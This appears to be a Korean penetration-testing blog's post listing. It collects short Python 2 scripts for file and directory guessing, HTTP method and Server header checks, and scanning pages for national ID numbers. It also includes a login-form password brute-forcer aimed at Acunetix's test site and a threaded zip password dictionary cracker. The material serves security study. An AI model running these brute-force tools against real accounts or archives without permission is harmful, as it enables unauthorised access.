2018. 2. 23.

[자료] WEB HACKING 101 - how to make money hacking ethically

굉장히 매력적인 제목이다. 해킹을 하면서 합법적으로 돈을 벌수 있다니.
hackerone 사이트는 등록된 사이트의 취약점을 찾아주면 기업들이 취약점에 따라서 일정 금액으로 보상을 해주는 사이트이다. 당연히 전세계 수준급의 해커들이 모여서 앞다투어 해킹을 성공시키며 돈을 벌어가고 있다.

그 중 한명이 Peter Yaworski, 오늘 소개 할 책의 저자이다. 피터는 해커원에서 많은 활약을 보이며 이름을 알리고 있다. 그런 그가 모의해킹 관련 저서를 냈는데 내용이 상당히 흥미롭다. 취약점 하나하나 마다 목차를 가지고 있으며 이 목차는 각각의 사례를 포함하고 있다. 즉 해커원에 등록된 취약점을 살펴보면서 취약점 원리 및 우회기법들을 배워나갈 수 있다.

다운로드 할 수 있는 사이트는 다음과 같다.

  • https://drive.google.com/file/d/1iXIb4oW7cDF4oMWeEzaH6CfChTPIKEMp/view?usp=sharing

Continue reading

2018. 2. 22.

[웹 취약점] 특수 문자 취약점

1. 특수문자 취약점
웹 사이트 취약점 점검을 할 때 테스트 해야 할 특수문자 목록이 있다.
[.], [%2E], [+], [%2B], [%2A], [\], [%5C], [?], [%3F], [%20], []

다음과 같은 특수문자가 삽임된 URL 을 테스트하여 웹 서버의 반응을 확인 한 후, 정상적인 400, 404, 500 에러가 아닌 특수 한 반응(예, 소스코드 출력 또는 디렉토리 목록 출력) 이 발생하는 경우, 벤더사의 보안 권고문 등을 확인하여 조치를 취해야 한다.

테스트 할 패턴은 다음과 같이 두 가지로 테스트 한다. (예, %20을 테스트 할 경우)

  • http://www.sample.com/test/%2E
  • http://www.sample.com/test.jsp%2E


# 출처
  • http://wikisecurity.net/guide:jsp_%EA%B0%9C%EB%B0%9C_%EB%B3%B4%EC%95%88_%EA%B0%80%EC%9D%B4%EB%93%9C

Continue reading

[파이썬] 파일 및 디렉토리 추측 가능

1. 개요
웹 페이지 상에 .zip 파일이나 .bak 파일 등을 발견함으로써 중요정보를 얻을 수 있다. dictionary 공격과 유사한 방법으로 소스코드를 구현해보았다.


import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org'

f = open('wordlist.txt','r')

while True:
    line = f.readline()
    if len(line) == 0:
        break

    r = requests.get(url+'/'+line)
    print url+'/'+line,':',r

f.closed

2. 실행 결과



Continue reading

[파이썬] 웹페이지 소스에서 주민등록번호 검출하기

1. 개요
웹 페이지 소스코드에서 정규표현식으로 주민등록번호를 검출하는 소스코드

# -*- coding:utf-8 -*-
import requests
import re

#url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'
url = 'https://ko.wikipedia.org/wiki/%EC%A3%BC%EB%AF%BC%EB%93%B1%EB%A1%9D%EB%B2%88%ED%98%B8'
r = requests.get(url)
#print r.text
text=r.text
print type(text)


s = u"발견된 주민등록번호"
s2=s.encode('cp949')
#regex1=re.compile('\d\d\d-\d\d\d-\d\d\d\d')  # 휴대폰번호 (ex, 010-1234-1234)
regex2=re.compile('\d\d\d\d\d\d-\d\d\d\d\d\d')  # 주민등록번호 (ex, 703021-1662912)
#regex2=re.compile('\d\d\d\d\d\d')  # 주민등록번호 (ex, 703021-1662912)
#mo1=regex1.search(text)
#if mo1 != None:
#    print(mo1.group())

mo2=regex2.search(text)
if mo2 != None:
    print(s,mo2.group())


* \d{6}-\d{7} 와 \d{13} 를 사용함으로서 보다 간결한 정규표현식이 될 수도 있다.

2. 실행 결과


Continue reading

[파이썬] 불필요한 HTTP Method 설정 여부 확인하기

1. 개요
GET, POST 외에 불필요한 메소드를 설정하면, 웹 페이지가 변조/삭제 될 수 있는 위험이 있다. 이번 코드는 서버에서 전달된 Response 헤더 값에서 메소드 정보 값만 추출하는 파이썬 코드를 작성 해보았다.

import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'

r = requests.options(url)
print r.headers
text=str(r.headers)

regex=re.compile("'Access-Control-Allow-Methods[\'\:\s]+[,A-Z\s]+'")
mo=regex.search(text)
if mo != None:
    print(mo.group())

* 주의 : 위의 text=str(r.headers) 부분이 있는데 여기서 str로 문자열로 변환하지 않으면 딕셔너리 타입에 적용하려고 하다보니 에러가 난다.

2. 실행 결과


Continue reading

[파이썬] 서버 정보 노출 여부 확인하기

1. 개요

프록시 툴이나 개발자 도구를 사용해서 response 헤더값에 포함되는 서버 정보를 확인 할 수도 있지만 파이썬으로 구현을 해보았다.


import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'

r = requests.get(url)
text= str(r.headers)

regex=re.compile("'Server[\'\:\s]+[\/a-z0-9\.]+'")
mo=regex.search(text)
if mo != None:
    print(mo.group())
2. 실행 결과


Continue reading

2018. 2. 12.

2018. 2. 11.

[bWAPP] 사이트 접속 및 프록시

bWAPP 환경설정을 한 이후에 사이트에 접속하는 법을 정리하려고 한다.
여러개의 가상환경을 구축하고 있고, 자주 접속하는 것이 아니기 때문에 기록하지 않으면 나중에 헤맬것 같다.

1. bWAPP 접속하는 법

- XAMPP 를 이용하여 설치를 했기 때문에, XAMPP Control Panel v3.2.2 를 실행한다.
- Apache, MySQL, FileZilla, Tomcat 을 'start' 버튼을 눌르면서 구동한다.
- http://localhost/bWAPP/login.php 에 접속해서 로그인한다. (bee/bug)
- 만약에 프록시를 사용하려면, 로컬 IP를 입력하여 접속해야한다. 그리고 프록시에서도 localhost가 아니라 로컬 IP로 셋팅하여야 한다.


Continue reading

2018. 2. 9.

[파이썬] 패스워드 무차별 공격(brute force)

** 본 코드는 파이썬 2.7 버전에서 유효하다. 3.x 부터는 다르게 적용해야 함

■ 코드 개요
사이트의를 해킹하기 위해 ADMIN이라는 계정을 해킹하려고 한다. ADMIN 계정은 존재한다는 것을 확인했고, 그 이후엔 패스워드를 알아내야 하는데.. 가장 간단한(?)방법은 무차별 대응 공격이다.


# -*- coding=utf_8 -*-
import urllib
import urllib2

url = "http://testphp.vulnweb.com/userinfo.php"
user_login = "test" # 사용자 아이디(python), 알고 있다는 전제

wordlist = open('wordlist.txt','r')
passwords = wordlist.readlines()

for password in passwords:
    password = password.strip() # 문자열 양 끝의 공백을 모두 지운다

    values = {'uname': user_login, 'pass': password}  # 파라미터명과 값은 실제 넘어가는 값과 동일해야한다.

    data = urllib.urlencode(values) # post 데이터 형태로 변환

    print data # 중간 데이터를 확인하기 위함이므로 있어도 그만 없어도 그만

    request = urllib2.Request(url, data)
    response = urllib2.urlopen(request)

    print response.geturl() # 중간 데이터를 확인하기 위함이므로 있어도 그만 없어도 그만

    try:
        idx = response.geturl().index('userinfo.php') # 정상적으로 로그인되었으면 관리자 페이지로(userinfo.php) 넘어간다. 따라서 반환 url에 관리자 화면의 url 주소(userinfo.php)이 포함되어 있는지 화인한다.
        
    except:
        idx = 0

    if (idx > 0):
        print "##################success############### ["+password+"]"
        break
    else:
        print "##################fail#################["+password+"]"

wordlist.close()


■ 코드 설명
acunetix 웹 취약점 스캐너를 테스트하는 사이트가 있다. (http://testphp.vulnweb.com/index.php) 보통 취약점 점검 모의해킹 사이트로 이용한다.
본 코드는 이 사이트의 아이디를 알고 있고 패스워드를 알아내기 위해서 코딩하였다.

Step 1)


사이트에서 로그인 정보를 입력하고 '로그인' 버튼을 누르면 위와 같이 request 데이터가 생성된다.

Step 2) 이를 통해 post로 로그인정보가 넘어간다는 것과 파라미터명을 확인 할 수 있다.

Step 3) 실제로 몇번 로그인 해보면 알겠지만, 로그인 정보가 틀리면 /login.php 로 리다이렉션 된다는 것을알 수 있다.

Step 4) 스크립트 실행 결과, 패스워드(test) 를 올바르게 찾는다는 걸 확인 할 수 있다.



Continue reading

2018. 2. 6.

[파이썬] 파이썬으로 웹사이트 로그인하기

■ 코드 개요
로그인 후에 데이터를 수집하거나 점검할때 초기에 로그인을 진행하기 위한 코드

import urllib
import urllib2

url = "http://test.com/login.php"

values = {'log': 'python', 'pwd': 'python1'}
headers = {'User-Agent':'Mozilla/4.0(compatible;Mise 5.5; Windows NT'}
data = urllib.urlencode(values)

request = urllib2.Request(url,data,headers)
response = urllib2.urlopen(request)

print "\URL:%s" % response.geturl()
print "#CODE : %s" % response.getcode()
print "#INFO : %s" %response.info()
print "#DATA : %s" %response.read()

** 아직 업데이트가 필요함

Continue reading

[파이썬] 파이썬으로 zip 압축 암호 찾아내기

■ 코드 개요
zip 형태로 된 압축파일의 암호를 사전공격을 기반으로 해서 패스워드를 알아 낼 수 있다.

# -*- coding:utf-8 -*-
import zipfile  # zip 으로 압축된 파일 객체를 생성 할 수 있다.
from threading import Thread # 스레드 기법을 통해 빠른 프로세스 처리를 도와준다.
import optparse # 사용자 입력값을 파싱 처리한 후, 미리 정의해둔 정의에 따라 해당 내용을 처리할 수 있게 해준다.

def Extract_File(zFile, password): # 압축 파일을 불러온 후 비밀번호를 대입하여 해제하는 영역
# zFile 은 실제 압축 파일 객체를 가리키고 있으며, Password 는 딕셔너리 파일에서 읽어들인 단어가 들어가게 될 것이다.
    try:
        zFile.extractall(pwd=password)
        print ("Found Password is ............ "+password+"\n"  )

    except Exception, e:
        pass

def main():

    parser = optparse.OptionParser(usage="%prog " + "-f  -d ") # parser 변수를 통해 optparse 라이브러리를 객체화 시킨 후, 사용자 기본 Usage 메시지를 입력한다. python test.py -f Test.zip -d dictionary.txt
    parser.add_option("-f", dest="zname", type="string", help="Specify Zip File")
    parser.add_option("-d", dest="dname", type="string", help="Specify Dictionary Name")
    (options, args) = parser.parse_args() # 튜플 형의 변수에 parse_args() 메서드를 호출하면 options 과 args 가 분리되어 저장되게 된다.
    if (options.zname == None) | (options.dname == None) :
        print parser.usage
        exit(0)
    else:
        zname = options.zname
        dname = options.dname

# Main Function Area - zFile

    zFile = zipfile.ZipFile(zname) # zFile 변수는 zipFile 모듈을 통해 (zname - optparser 를 통해 입력받은 )압축 파일명을 불러들인다.
    passfile = open(dname,"r")

    print ("Extraction Start ------------ \n")

    for line in passfile.readlines(): # for 문을 통해 딕셔너리 파일을 한 라인씩 읽으면서 extract_file 함수를 호출한다.
        password = line.strip("\n")
        t = Thread(target=Extract_File, args=(zFile, password))
        t.start()

if __name__ == '__main__' :
    main ()

■ 실행 결과


Continue reading

Popular Posts

Recent Posts

Powered by Blogger.